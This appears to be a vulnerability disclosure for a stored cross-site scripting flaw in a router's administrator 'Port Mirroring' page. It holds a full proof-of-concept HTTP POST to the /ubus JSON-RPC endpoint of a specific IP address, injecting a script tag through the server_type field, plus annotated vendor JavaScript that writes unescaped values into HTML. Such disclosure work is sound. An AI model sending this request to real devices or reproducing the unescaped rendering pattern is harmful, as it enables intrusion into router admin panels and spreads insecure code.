XSS attacks are possible on the advanced "Port Mirroring" page of the administrator panel.
POST /ubus HTTP/1.1
Host: 125.186.175.246
Content-Length: 180
Pragma: no-cache
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36[
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: <http://125.186.175.246>
Referer: <http://125.186.175.246/port_mirror.html>
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
{"jsonrpc":"2.0","id":24,"method":"call","params":["3a5f2805bd7f467765a56fca1a41160b","uci","add",{"config":"diagnosis","type":"diag","values":{"server_type":"<script>alert('XSS')</script>","dst":"lan1"}}]}
The service_type field renders values without any escaping or validation, resulting in an XSS vulnerability.


The port_mirror.js file directly fetches and processes input from the service_type field.
source_options_show:function(){
var me = this;
$.when(me.wan_config_get("{}")).then(function(ipv4Data){
ipv4Data = ipv4Data[1]["list"];
var reData = [];
for(var i=0; i<ipv4Data.length; i++){
var tempObj = {};
var service_type = ipv4Data[i]["service_type"];
// [Vulnerable Point] The service_type value is directly inserted into the option tag.
tempObj = '<option value="'+ service_type.toLowerCase() +'">'
+ service_type.toUpperCase() +
'</option>';
reData.push(tempObj);
}
// [Vulnerable Point] reData is ultimately injected directly into the HTML.
$("#source_options").html(
"<option value='all'>" + appJs["label"][0] + "</option>" + reData
);
});
},
In the frontend code, values are rendered without any escaping or validation, leading to an XSS vulnerability.
diagnosis_list:function(data){
var me = this;
var result = data.result[1].values;
var id = 1;
newResult = [];
for(var i in result){
result[i].id = id++;
newResult.push(result[i]);
}
var new_data = [];
for(var i in newResult){
var tempObj = {};
// [Vulnerable Point] server_type (source port) is directly stored in the output object without any modification.
tempObj.server_type = newResult[i].server_type;
tempObj.dst = newResult[i].dst;
tempObj.op = '</button><button type="button" class="delete smaller darkgray" ' +
'style="margin-left:0;" data-name=' + newResult[i][".name"] + '>' +
L.s_delete + '</button>';
new_data.push(tempObj);
}
// [Vulnerable Point] new_data -> Table component -> Rendered into HTML.
var tab = new Table("port_mirror_table", appJs["table-title"], new_data);
tab.initTable();
},